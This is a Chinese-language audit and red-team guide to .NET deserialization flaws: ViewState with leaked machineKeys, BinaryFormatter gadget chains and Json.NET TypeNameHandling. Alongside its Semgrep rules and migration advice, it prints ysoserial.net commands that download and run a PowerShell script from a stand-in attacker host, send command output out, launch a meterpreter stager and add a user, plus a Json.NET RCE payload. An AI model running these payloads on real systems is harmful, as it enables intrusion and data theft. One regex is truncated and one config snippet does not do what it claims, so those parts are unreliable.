引言:当"序列化"成为攻击者的快速通道
在 .NET 攻防的历史长河里,反序列化漏洞始终占据着"高伤高速"的黄金地位 。它不是 0day 的专属------大量案例表明,一个配置失误(machineKey 泄露)或一行遗留代码(BinaryFormatter.Deserialize)足以让攻击者绕过所有身份验证、直捣系统核心。从 2020 年震惊业界的 Exchange RCE(CVE-2020-0688),到 2026 年初刚披露的 VeraSMART CVE-2026-26333 与 KnowledgeDeliver CVE-2026-5426,"ViewState 反序列化 RCE"这条攻击链正在从理论走向大规模在野利用。微软威胁情报团队在 2026 年的统计显示,超过 3,000 个 ASP.NET machineKey 已在 GitHub、Stack Overflow 乃至微软自家文档中公开暴露,攻击者甚至不需要任何前置漏洞,就能用泄露的密钥字典直接发起批量攻击。
对于白盒审计者和红队工程师,掌握 .NET 反序列化漏洞的原理与利用手法,是从"修补已知 CVE"跃升为"发现同类 0day"的必经之路。本文将从序列化机制的第一性原理出发,把 ViewState 与 BinaryFormatter 这两大攻击面拆解到字节层面,再通过完整的攻击链推演,最后给出可直接落地的审计清单、Semgrep 规则与迁移方案。无论你是在审视一个部署了十年的老 WebForms 项目,还是在评估一个刚迁移到 .NET 8 的新服务,这篇文章都希望能成为你工具箱里那把最锋利的手术刀。
第一章:.NET 序列化体系的全景认知
要做反序列化审计,必须先理解 .NET 提供了哪些序列化机制、它们各自的安全边界在哪里。很多新手把所有"序列化"混为一谈,结果在审计时要么漏掉关键 Sink,要么把无害的 JSON 处理也标记为高危。
1.1 五大 Formatter 对比
| Formatter | 格式 | 默认安全性 | 典型用途 | 危险等级 |
|---|---|---|---|---|
| BinaryFormatter | 二进制(起始魔数 /w base64 或 AAEAAAD hex) |
极不安全(任意类型实例化) | 遗留 IPC、缓存、Remoting | ★★★★★ |
| LosFormatter | 字符串(Base64) | 不安全(内部走 ObjectStateFormatter) | ASP.NET 1.x ViewState | ★★★★★ |
| ObjectStateFormatter | 二进制流(Base64 编码后输出) | 不安全(专用做 ViewState 但可被滥用) | ASP.NET 2.0+ ViewState、ControlState | ★★★★★ |
| NetDataContractSerializer | XML | 不安全(含类型信息,类比 BinaryFormatter) | WCF、部分中间件 | ★★★★☆ |
| Json.NET (Newtonsoft) | JSON | 条件性安全 (TypeNameHandling 默认 None,若开启则危险) |
Web API、配置 | ★★★☆☆ |
| System.Text.Json | JSON | 安全(设计上不支持任意类型实例化) | .NET Core 3+ 默认 | ★☆☆☆☆ |
| XmlSerializer / DataContractSerializer | XML | 相对安全(类型受限,但历史上有特定 gadget) | WCF、SOAP | ★★☆☆☆ |
| 参考资料综合自微软官方文档与 PayloadsAllTheThings 整理。 | ||||
| 审计时的第一件事,就是用 grep 快速识别项目使用了哪种 Formatter: |
bash
# 危险 Sink 全局扫描
rg -n --type cs "BinaryFormatter|NetDataContractSerializer|LosFormatter|ObjectStateFormatter"
rg -n --type cs "TypeNameHandling\.(All|Auto|Objects|Arrays)"
rg -n --type cs "typeof.*SerializationBinder"
rg -n --type cs "\.Deserialize\(|\.DeserializeObject\("
只要命中上述任何一项且入参来自用户(HTTP 参数、Cookie、消息队列、共享缓存、文件上传),就应该列为高危目标继续深挖。
1.2 序列化"安全"的本质:类型即代码
为什么 BinaryFormatter 这么危险?根本原因在于它在反序列化时会根据字节流中嵌入的类型信息,直接在目标进程中实例化任意 .NET 类 。攻击者只需让字节流声明为某个"具有危险副作用的类",反序列化器就会忠实执行那个类的构造函数、属性 setter、OnDeserialization 回调、ISerializable 构造函数等。
一句话总结:在 BinaryFormatter 的世界里,"类型"就是"代码"。 攻击者的工作只是找到一条"反序列化即调用危险方法"的类链(即 Gadget Chain)。
第二章:ViewState------ASP.NET 的"全服共享密钥"之殇
ViewState 是 ASP.NET WebForms 的核心机制之一,也是历史上被打穿次数最多的反序列化入口。它的安全模型有一个致命的设计假设:只要 machineKey 不泄露,ViewState 就是不可伪造的。然而这个假设在现实中经常崩塌。
2.1 ViewState 的本质与安全模型
ViewState 是 ASP.NET 在页面回传时保持页面状态的机制,以 __VIEWSTATE 隐藏字段的形式存在于 HTML 表单中,经过 Base64 编码传输。安全层面有两个关键参数:
- validationKey:用于对 ViewState 做 HMAC 签名,防止篡改
- decryptionKey :用于加解密 ViewState 内容(.NET 4.5+ 默认加密+签名双保险)
底层实现经历了两次演进:ASP.NET 1.x 使用 LosFormatter(TextWriter),2.0 之后改用 ObjectStateFormatter(BinaryWriter)------后者更紧凑,但两者都能被攻击者利用 。
微软官方多次强调:EnableViewStateMac=false是绝对禁止的 。从 2014 年起 ASP.NET 已经忽略了应用层对EnableViewStateMac=false的设置,强制启用 MAC 校验。但即便 MAC 强制开启,只要 machineKey 本身泄露,一切防线都会失效。
2.2 machineKey 是怎么泄露的?------五大典型路径
理解泄露渠道是评估风险的关键。审计或红队时可以按下列优先级逐一排查:
路径一:硬编码在公开模板中
最经典的情况:厂商在安装包默认 web.config 里写死了一组 machineKey,所有客户的部署实例共享同一组密钥。2026 年的 CVE-2026-5426(KnowledgeDeliver LMS)正是这一模式,Mandiant 已确认该漏洞被在野利用,攻击者借此部署了 Godzilla 内存马与 Cobalt Strike Beacon。另一个同类案例是 CVE-2026-26333 / CVE-2026-26335(Calero VeraSMART),CVSS 评分高达 9.8,源于厂商默认配置文件中的全域复用密钥。
路径二:从公开资源复制
微软的研究显示,开发者经常从 Stack Overflow 答案、GitHub 仓库、甚至微软官方文档中"复制粘贴" machineKey 到生产环境。在微软更新文档前,其官方文档示例中曾直接给出完整的 validationKey 和 decryptionKey 示例值,被大量开发者原封不动地部署。
路径三:目录穿越 / 任意文件读取
一旦应用存在 LFI 漏洞,攻击者读取 web.config 即可拿到 machineKey。CVE-2026-26333 的完整链路就是"未认证 .NET Remoting 服务 → 任意文件读取 → web.config 泄露 → machineKey 提取 → ViewState RCE"。
路径四:内部信息泄露
Git 历史提交、CI 日志、Docker 镜像层、备份文件 .bak、.git 目录暴露、开发者误将配置截图发到论坛等都可能泄露。
路径五:高权限前提下的攻击升级
CVE-2025-3935(ScreenConnect)展示了另一类模式:攻击者需要先拿到系统级权限读取 machineKey,再通过 ViewState 注入升级到代码执行------这是权限提升而非直接 RCE,但依然值得警惕。
2.3 ViewState 反序列化的完整利用链
以经典的 Blacklist3r + ysoserial.net 组合为例,完整攻击链如下:
Step 1:识别 ViewState 模式
先看目标是否启用 MAC / 加密。通过查看返回页面的 __VIEWSTATE 前缀、__VIEWSTATEENCRYPTED 字段、以及尝试篡改后服务器返回的错误信息("Validation of viewstate MAC failed")可以快速判断。
Step 2:确定 machineKey
如果怀疑是预共享密钥,用 Blacklist3r 的 AspDotNetWrapper.exe 针对已知 machineKey 字典暴力比对:
bash
AspDotNetWrapper.exe --keypath MachineKeys.txt \
--encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= \
--purpose=viewstate --valalgo=sha1 --decalgo=aes \
--modifier=CA0B0334 --macdecode --legacy
Step 3:用 ysoserial.net 生成 payload
bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:$(whoami)" \
--generator=CA0B0334 \
--validationalg="SHA1" \
--validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
若启用了加密,还需额外传 --decryptionkey 和 --decryptionalg,并去掉请求中的 __VIEWSTATEENCRYPTED 参数。
Step 4:发送 payload 并验证
将生成的 Base64 字符串作为 __VIEWSTATE 参数 POST 回目标页面。如果服务器返回 500 并提示"The state information is invalid for this page",但你的 OOB 服务器收到了回连请求,说明利用成功。
2.4 经典 Gadget 与其适配场景
ViewState 反序列化底层用的是 ObjectStateFormatter,这个 formatter 允许实例化任意 [Serializable] 类型,所以能复用大部分 BinaryFormatter 的 Gadget。常用的包括:
| Gadget | 目标类 | 适用条件 |
|---|---|---|
| TextFormattingRunProperties | Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties |
依赖 VisualStudio 组件(.NET Framework 默认含此库) |
| TypeConfuseDelegate | System.Comparison/System.Comparison delegate 混淆 |
仅适用于 BinaryFormatter,不适用 LosFormatter |
| WindowsIdentity | System.Security.Principal.WindowsIdentity |
触发反序列化时的 ISerializable 构造函数,可反序列化任意嵌套对象 |
| ActivitySurrogateSelector | System.Workflow.ComponentModel |
需要目标环境有 Workflow 组件 |
| ObjectDataProvider | System.Windows.Data.ObjectDataProvider |
通过 XAML 调用任意静态方法 |
| ClaimsPrincipal | System.Security.Claims.ClaimsPrincipal |
通用,依赖 mscorlib |
实战技巧 :当 ObjectStateFormatter 直接报错时,可以试试换成 LosFormatter 作为 formatter------很多 HITCON 题目与真实案例都验证过这种切换的有效性。 |
2.5 一个完整案例推演:从 machineKey 到 RCE
目标 :某企业内网 ASP.NET WebForms 应用,登录页面带有 __VIEWSTATE。
Step 1 :抓取首页响应,确认 __VIEWSTATE 存在且 Base64 解码后开头是 /wEP(典型的签名+加密 ViewState)。
Step 2 :用 Blacklist3r 针对公开 machineKey 字典批量测试,命中一组 SHA1/AES 密钥。
Step 3:用 ysoserial.net 生成 ViewState payload:
bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -nop -w hidden -e <base64_meterpreter>" \
--validationalg="SHA1" --validationkey="<泄露的Key>" \
--decryptionalg="AES" --decryptionkey="<泄露的Key>" \
--path="/Login.aspx" --apppath="/"
Step 4 :Burp 重发登录请求,替换 __VIEWSTATE。
Step 5 :Meterpreter 反弹上线,进程名为 w3wp.exe,权限为 IIS APPPOOL\DefaultAppPool------至此拿到 Web 层立足点。
这条链的全部"漏洞"只有两个:machineKey 泄露 + WebForms 启用 ViewState。修复方案将在第七章展开。
第三章:BinaryFormatter------万年老坑的"终极形态"
如果说 ViewState 的攻击面相对集中(主要在 ASP.NET WebForms),那么 BinaryFormatter 的攻击面则散布在整个 .NET 生态:WCF 服务、Remoting、Windows 服务、桌面应用的保存文件、游戏存档、工业控制软件、甚至部分桌面游戏的存档都会用它。
3.1 为什么 BinaryFormatter 至今仍在"战果累累"
微软早在 2019 年就明确宣布 BinaryFormatter 不安全,并在 .NET 5 中将其标记为 Obsolete(警告),在 .NET 7 中将警告升级为 Error,在 .NET 9 中彻底从运行时移除其实现 ------API 仍在但任何调用都会抛异常。
然而,大量存量系统仍在使用它:
- 工业控制 / ICS 软件:muffSec 在 2020 年 Pwn2Own Miami 中利用 DataContractSerializer 的 gadget 链攻破了某主流 ICS 厂商的产品,这个案例展示了即便 BinaryFormatter 被禁,同类"类型信息嵌入"的反序列化模式依然是攻击者的甜点。
- 桌面游戏:modzero 的研究显示,很多 Unity 游戏用 BinaryFormatter 序列化存档,攻击者可以用恶意存档文件触发 RCE------这在游戏平台成为新型攻击面。
- 遗留 Windows 服务 :大量用 .NET Framework 写的服务、调度器、批处理工具仍然信任本地或网络文件中的二进制数据。
核心规律 :只要满足"用户可控数据 + BinaryFormatter.Deserialize + 依赖链上有可用 gadget"三个条件,RCE 几乎是必然的。
3.2 BinaryFormatter 的字节流特征与检测
二进制格式有一个非常易识别的魔数:字节流起始为 00 01 00 00 00 FF FF FF FF(即 Base64 中的 /w 或 hex AAEAAAD)。
在流量中识别:
# Cookie / POST body / Base64 参数中若出现以下模式
/wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUT...
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u...
基本都是 .NET 序列化数据。如果解 Base64 后看到可读的类名(如 System.Windows.Data.ObjectDataProvider、System.Security.Principal.WindowsIdentity),就可以精确判断 gadget 类型。
3.3 Gadget Chain 的底层逻辑
BinaryFormatter 的 gadget 链一般由三个部分组成:
- Trigger :反序列化时自动调用的方法(如
OnDeserialization回调、ISerializable构造函数、IDisposable.Dispose等) - Bridge:把控制流传递到攻击者指定的类或方法
- Payload :最终执行命令的位置(如
Process.Start、XamlReader.Parse、Assembly.Load字节码)
以 WindowsIdentity 链为例:
csharp
// WindowsIdentity 实现了 ISerializable
// 其反序列化构造函数会从 SerializationInfo 中还原 ClaimsIdentity.actor 字段
// 这一步又会触发嵌套的 BinaryFormatter 反序列化 → 攻击者可控制整个嵌套链
public WindowsIdentity(SerializationInfo info, StreamingContext context) {
// ... 内部会反序列化 actor 字段的内容,形成二次反序列化入口
}
攻击者把恶意二进制塞进 System.Security.ClaimsIdentity.actor 字段,反序列化 WindowsIdentity 就会递归调用 BinaryFormatter 处理攻击者的字节流,最终通过嵌套 gadget 执行命令。
3.4 ysoserial.net 的实战使用
ysoserial.net 是 .NET 反序列化漏洞的标准 PoC 工具,支持多种 formatter 和 gadget 组合。常用命令示例:
bash
# BinaryFormatter + TextFormattingRunProperties
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties \
-c "cmd.exe /c whoami > C:\\temp\\out.txt" -o base64
# LosFormatter + WindowsIdentity( ViewState 场景)
ysoserial.exe -f LosFormatter -g WindowsIdentity \
-c "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/sh.ps1')" \
-o base64
# XmlSerializer + ObjectDataProvider
ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
# NetDataContractSerializer + TypeConfuseDelegate
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate \
-c "cmd.exe /c net user pwn Pass@123 /add" -o base64
Metasploit 也内置了 .NET 反序列化模块 (Msf::Util::DotNetDeserialization),支持 ClaimsPrincipal / TextFormattingRunProperties / TypeConfuseDelegate / WindowsIdentity 等主流 gadget 与 BinaryFormatter / LosFormatter / SoapFormatter 三种 formatter 的组合,方便在渗透框架中直接调用。
3.5 Binding Redirect 与依赖收集
ysoserial.net 的 gadget 能否成功,取决于目标进程的 AppDomain 是否加载了 gadget 依赖的 DLL。审计时需要重点收集:
- 目标应用
web.config/app.config中的<dependentAssembly>节 bin/目录下所有 DLL 文件名(尤其是 System.Extensions、Microsoft.* 、Newtonsoft.Json、System.Workflow.* 等)- GAC 中已注册的第三方程序集
一个常见误区是认为"目标没有用 VisualStudio 组件就不能用 TextFormattingRunProperties"。实际上,只要 gadget 的类在目标 AppDomain 的解析路径中(哪怕是被间接加载了),链就会生效。 而 .NET Framework 的 GAC 默认装了 VisualStudio 的部分组件,这往往使很多 gadget 的适用面比想象中更广。
第四章:Json.NET 与其他"次高危"反序列化
除了两大主战场,还有一些"条件性危险"的反序列化场景,审计时也不应忽略。
4.1 Json.NET 的 TypeNameHandling 陷阱
Newtonsoft.Json 默认 TypeNameHandling.None,是安全的。但当业务代码写了:
csharp
var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All // 或 Auto / Objects / Arrays
};
var obj = JsonConvert.DeserializeObject<User>(input, settings);
JSON 中就可以用 $type 字段指定任意 .NET 类型:
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, ...",
"StartInfo": {
"FileName": "cmd.exe",
"Arguments": "/c calc.exe"
}
}
}
配合 ObjectInstance 的嵌套 setter 调用,可直接 RCE。
修复方案 :必须使用 TypeNameHandling 时,务必配合 SerializationBinder 白名单:
csharp
public class SafeBinder : SerializationBinder {
private static readonly HashSet<string> Allowed = new HashSet<string> {
"MyApp.Models.User", "MyApp.Models.Order"
};
public override Type BindToType(string assemblyName, string typeName) {
var full = typeName + ", " + assemblyName;
if (!Allowed.Contains(typeName))
throw new SerializationException("Type not allowed: " + typeName);
return Type.GetType(full);
}
}
var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.Auto,
SerializationBinder = new SafeBinder()
};
4.2 DataContractSerializer 与 XmlSerializer
这两个 serializer 在设计上限制了任意类型实例化(通常需要在构造时指定允许的类型),但仍有以下风险点:
KnownTypes被外部控制:若 KnownTypes 列表来自数据库或配置,可被攻击者污染XamlReader.Parse作为 gadget payload:能加载任意 XAML,触发 ObjectDataProvider 链- DataTable / DataSet 的 RemotingFormat=Binary :内部仍可能走 BinaryFormatter
muffSec 在 2019 年发现的 DataContractSerializer RCE 链通过精心构造ExpandedWrapper<T1,T2>类型的嵌套 XML,最终调用了XamlReader.Parse执行任意代码------这个案例在 Pwn2Own Miami 2020 上被成功演示。这说明即便框架声称"安全",只要允许指定任意类型,就可能有新 gadget 被发现。
第五章:实战推演------一次完整的 .NET 审计流程
把前面所有知识串起来,给出一个可直接复用的审计流程。
Step 1:技术栈识别(10 分钟)
bash
# 看 .csproj / packages.config 确定目标框架
cat *.csproj | grep -E "TargetFramework|PackageReference"
# 看 web.config 中的 machineKey 配置
grep -i "machineKey" web.config
# 识别 ViewState 使用情况
rg -n "EnableViewState|ViewStateUserKey" .
关键判断:
- .NET Framework WebForms:大概率有 ViewState,重点看 machineKey
- .NET Core / 5+:大概率无 ViewState,重点看自定义反序列化逻辑
- .NET Framework 4.5 以下 :可能存在
EnableViewStateMac=false配置漏洞
Step 2:Sink 全量扫描(30 分钟)
bash
# 命令执行 Sink
rg -n --type cs "new BinaryFormatter|BinaryFormatter\(\)" --glob '!bin/**'
rg -n --type cs "LosFormatter|ObjectStateFormatter|NetDataContractSerializer"
rg -n --type cs "TypeNameHandling\.(All|Auto|Objects|Arrays)"
rg -n --type cs "\.Deserialize\(|JsonConvert\.DeserializeObject|XamlReader\.Parse"
# ViewState 相关
rg -n --type cs "MachineKey\.(Decode|Encode)"
rg -n --type cs "PageStatePersister|IStateFormatter"
# 危险配置
rg -n "enableViewStateMac\s*=\s*[\"']false" --type xml
rg -n "validationKey\s*=\s*[\"'][^A]|
Step 3:Source 追踪与优先级排序
对每个 Sink 反向追踪数据来源,按以下优先级分类:
| 优先级 | Source 类型 | 典型例子 |
|---|---|---|
| P0 | HTTP 参数/Cookie 直接进 Deserialize | Request.Form["data"]、Cookie 值 |
| P1 | 数据库/缓存读取后反序列化 | Redis 中的二进制缓存 |
| P2 | 消息队列 payload 反序列化 | RabbitMQ/MassTransit 的二进制消息 |
| P3 | 文件系统反序列化 | 上传的 .dat 文件、定时任务读取的文件 |
| P4 | 内部 IPC/Remoting | 已部署环境的 .NET Remoting 端点 |
Step 4:machineKey 集中检查
这是 ASP.NET 项目审计的"必查项":
bash
# 1. 检查 web.config 是否硬编码密钥
grep -A 3 "<machineKey" web.config
# 2. 检查密钥是否在已知公开列表中
# 将密钥 hash 后比对 GitHub、Stack Overflow 上的公开列表
# 3. 检查 Machine.config 是否设置了机器级密钥
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config | findstr machineKey
发现硬编码密钥后,立即检查它在厂商部署模板中是否也出现------如果是,所有该厂商的部署实例都受影响。
Step 5:动态验证
用 Burp + ysoserial.net 进行手工验证:
- ViewState :替换
__VIEWSTATE为恶意 payload,观察响应 - BinaryFormatter:构造含恶意二进制的 Cookie/POST body,监听 OOB(DNS/HTTP 回连)
- Json.NET :构造
{"$type": "..."}payload,尝试触发ObjectDataProvider链
验证成功后,整理报告时按"漏洞描述→复现步骤→影响评估→修复建议→替代代码"的标准结构输出。
第六章:审计 Checklist 与自动化规则
6.1 .NET 反序列化审计 Checklist
| # | 检查项 | 说明 |
|---|---|---|
| 1 | machineKey 是否硬编码/公开泄露 | 对比 GitHub 公开列表 |
| 2 | web.config 是否启用 ViewState MAC | EnableViewStateMac 必须为 true |
| 3 | ViewStateEncryptionMode 是否为 Always | 建议强制加密 |
| 4 | 项目中是否使用了 BinaryFormatter | .NET 5+ 应迁移 |
| 5 | Json.NET 是否开启 TypeNameHandling | 必须配 SerializationBinder |
| 6 | 所有 Deserialize 调用的入参是否来自用户 | 追踪到 Source |
| 7 | 是否存在自定义 SerializationBinder | 检查白名单完整性 |
| 8 | WCF/Remoting 端点是否暴露 | TypeFilterLevel 是否为 Low |
| 9 | 应用是否使用 .NET Framework ≤4.5 | 老版本有多个已知 ViewState 绕过 |
| 10 | 是否上传并反序列化任意文件 | 游戏/桌面应用常见 |
| 11 | 依赖库版本是否最新 | 老版本 Newtonsoft.Json、System.Runtime.Serialization.Formatters 等有已知 gadget |
| 12 | 是否为不同实例使用了唯一密钥 | "一次泄露,全局沦陷"反面教材 |
6.2 Semgrep 自定义规则
yaml
rules:
- id: csharp-binaryformatter-deserialize-user-input
languages: [csharp]
severity: ERROR
message: BinaryFormatter.Deserialize called - potential RCE
patterns:
- pattern-either:
- pattern: $BF.Deserialize($INPUT)
- pattern: new BinaryFormatter().Deserialize($INPUT)
- metavariable-pattern:
metavariable: $INPUT
patterns:
- pattern-not: '"...literal..."'
- id: csharp-losformatter-viewstate
languages: [csharp]
severity: WARNING
message: LosFormatter usage detected - unsafe for untrusted data
patterns:
- pattern: new LosFormatter(...)
- id: csharp-newtonsoft-typenamehandling-all
languages: [csharp]
severity: ERROR
message: TypeNameHandling.All without SerializationBinder is unsafe
patterns:
- pattern-either:
- pattern: TypeNameHandling.All
- pattern: TypeNameHandling.Auto
- pattern-not-inside: |
$SETTINGS = new JsonSerializerSettings {
SerializationBinder = $SAFE, ...
}
- id: csharp-machinekey-hardcoded
languages: [generic]
severity: CRITICAL
message: Hardcoded machineKey in config - critical risk of ViewState RCE
patterns:
- pattern-regex: |
<machineKey[^>]*validationKey="[0-9a-fA-F]{40,}"[^>]*decryptionKey="[0-9a-fA-F]{32,}"
6.3 运行时防护
即使代码暂时无法修复,运行时也可以部署多层防御:
1. .NET Framework 层
xml
<!-- 在 machine.config 中全局禁用 BinaryFormatter -->
<configuration>
<runtime>
<bypassTrustedAppStrongNames enabled="false"/>
</runtime>
</configuration>
2. 应用层统一 SerializationBinder
csharp
public class RestrictedBinder : SerializationBinder {
private static readonly Dictionary<string, string> Allowed = new() {
["MyApp.Models.User"] = "MyApp",
["MyApp.Models.Order"] = "MyApp",
};
public override Type BindToType(string assemblyName, string typeName) {
if (!Allowed.TryGetValue(typeName, out var asm))
throw new SerializationException($"Blocked: {typeName}");
return Type.GetType($"{typeName}, {asm}");
}
}
// 全局替换默认 formatter
public static class SafeSerializer {
private static readonly BinaryFormatter _bf = new() {
Binder = new RestrictedBinder()
};
public static T Deserialize<T>(Stream s) => (T)_bf.Deserialize(s);
}
3. 网络层
- WAF 拦截含
AAEAAAD或/wEP魔数的可疑请求(误报多,仅作辅助) - 对 IIS 应用池启用独立身份与最小权限
- 禁用不必要的 .NET Remoting 端口
第七章:修复与迁移------从"能用"到"安全"的架构跃迁
7.1 ViewState 的根治方案
方案 A:动态生成并定期轮换 machineKey
powershell
# PowerShell 生成强随机 machineKey
$validationKey = -join ((1..64) | ForEach-Object { '{0:x}' -f (Get-Random -Max 16) })
$decryptionKey = -join ((1..32) | ForEach-Object { '{0:x}' -f (Get-Random -Max 16) })
@"
<machineKey
validationKey="$validationKey"
decryptionKey="$decryptionKey"
validation="HMACSHA256"
decryption="AES" />
"@ | Out-File new_machinekey.txt
注意:不要使用 SHA1 作为 validation 算法,改用 HMACSHA256 或 HMACSHA512 。
方案 B:迁移到 ASP.NET Core
ASP.NET Core 完全移除了 ViewState 机制 ,使用 Razor Pages / MVC 模式 + Data Protection API,密钥可托管到 Azure Key Vault 或 Linux 文件系统,从根本上消除了这类风险。
方案 C:View State User Key 防御
csharp
// 在 Page_Init 中设置 ViewStateUserKey 防止 CSRF + ViewState 组合攻击
protected override void OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
7.2 BinaryFormatter 的迁移路线
微软官方迁移指南推荐按场景选择替代方案:
| 场景 | 推荐替代 |
|---|---|
| 配置/数据持久化 | System.Text.Json(默认安全) |
| 需要紧凑格式 | MessagePack-CSharp / protobuf-net |
| WCF 场景 | DataContractSerializer + 明确 KnownTypes |
| 需要跨语言互操作 | Protobuf / Avro |
| 大数据量流式 | MemoryPack / MessagePack |
| 必须保留 BinaryFormatter | 用 NuGet 包 System.Runtime.Serialization.Formatters(.NET 9+ 官方提供,但被标记为 unsupported) |
| 迁移示例(原 BinaryFormatter 代码): |
csharp
// ❌ 旧代码
var formatter = new BinaryFormatter();
using (var stream = File.OpenRead("data.bin")) {
var user = (User)formatter.Deserialize(stream);
}
// ✅ 新代码
using (var stream = File.OpenRead("data.json")) {
var user = JsonSerializer.Deserialize<User>(stream,
new JsonSerializerOptions {
PropertyNameCaseInsensitive = true,
IncludeFields = true // 若原代码用了字段
});
}
特别注意 :.NET 9 已从运行时移除 BinaryFormatter 实现,任何调用都会抛 NotSupportedException。即使通过 NuGet 包恢复,也必须显式配置兼容性开关且被标记为不受支持。
7.3 组织层面的纵深防御
技术修复只是一半,组织层面还需要:
- CI/CD 集成:每次提交都跑 Semgrep / SonarQube 规则,禁止新增 BinaryFormatter / TypeNameHandling.All
- 密钥治理:machineKey、connectionStrings、API keys 全部托管到 Azure Key Vault / HashiCorp Vault,通过环境变量注入
- SCA 工具 :定期运行
dotnet list package --vulnerable、Snyk、Trivy 扫描依赖 - 密钥轮换机制:machineKey 至少每季度轮换一次
- 监控告警 :监控异常大的
__VIEWSTATE参数(> 10KB 需警惕)、含/wEP前缀的可疑 POST body、未知的 500 错误堆积
第八章:从单个漏洞到一类风险------深度思考
读完前几章,你可能已经隐约感受到一个共性:.NET 反序列化漏洞的根本问题,不是"某个库写错了",而是"把类型信息暴露给不可信输入"这个设计选择本身 。ViewState 如此,BinaryFormatter 如此,Json.NET 的 TypeNameHandling 如此,甚至 DataContractSerializer 的 KnownTypes 也是如此。
这提醒我们在审计任何 .NET 项目时,要带着一个更根本的疑问:这份代码在多大程度上允许"外部输入决定进程内部要执行什么类、调用什么方法"? 凡是答案为"允许"的地方,无论用了多现代的框架,都值得深挖一层。
另一个值得思考的观察:ViewState 攻击链之所以在 2026 年依然大放异彩,不是因为 ViewState 本身有多难修,而是因为"配置正确的密钥"这个动作在人类运维实践中几乎不可能完美执行 。3,000 个公开泄露的 machineKey、厂商硬编码的全域密钥、开发者从 Stack Overflow 复制的示例------每一条都是"配置即遗忘"的典型。当安全的成本落在运维人员的日常习惯上,它就注定会失败。这也解释了为什么 ASP.NET Core 彻底移除 ViewState、用 Data Protection API 自动管理密钥,是架构层面的正确决定。
最后想分享一个审计视角的顿悟:遇到 .NET 项目时,先看它是什么架构(WebForms / MVC / Core / Windows Service),再决定用什么"武器"审计 。WebForms 项目把 70% 精力放在 machineKey 与 ViewState;.NET Core 项目把 70% 精力放在 Json.NET 的 TypeNameHandling 与自定义反序列化逻辑;桌面/游戏项目则重点关注二进制文件的加载入口。理解"攻击面分布",比记住 100 个 gadget 链更重要 。
愿你下一次打开一个 .NET 项目的 .csproj 文件时,已经知道该往哪里看。